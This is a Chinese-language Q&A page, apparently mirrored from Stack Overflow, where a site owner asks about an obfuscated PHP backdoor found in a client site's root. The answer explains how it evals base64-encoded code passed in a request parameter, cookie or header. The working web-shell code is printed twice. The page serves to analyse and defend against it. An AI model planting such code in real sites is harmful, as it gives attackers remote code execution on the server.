我在客户站点的根目录中找到了 this code。我将其解密为以下含义:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););

看起来它正在从 cookie 或用户获取代码并对其进行评估,但我无法从那里进一步判断。

任何人都有这方面的见解?

最佳答案

这里有一些缩进的代码:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m',

$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);

$a=isset($i["geccmscu"]) ? $i["geccmscu"] :
    (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die );

eval(strrev(base64_decode(strrev($a)))););

首先,它检查在 cookie、请求和服务器值($i 变量)中是否有一个“geccmscu”键。如果没有,它会检查是否定义了具有相同名称的 header (“HTTP_GECCMSCU”)。如果没有,脚本就停在那里。

如果在某处定义了“geccmscu”变量,它将存储在 $a 中。然后脚本对其进行解码(内容使用 strrev 和 base64“加密”)并通过 eval() 执行

基本上,有人可以使用 HTTP 查询来攻击您的服务器,例如:
GET http://example.com?geccmscu=someevilphpcode

然后“someevilphpcode”将被解码并在您的服务器上执行。

关于php - 这段 PHP 代码有什么作用?看起来像黑客,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/29972343/

10-11 23:24
查看更多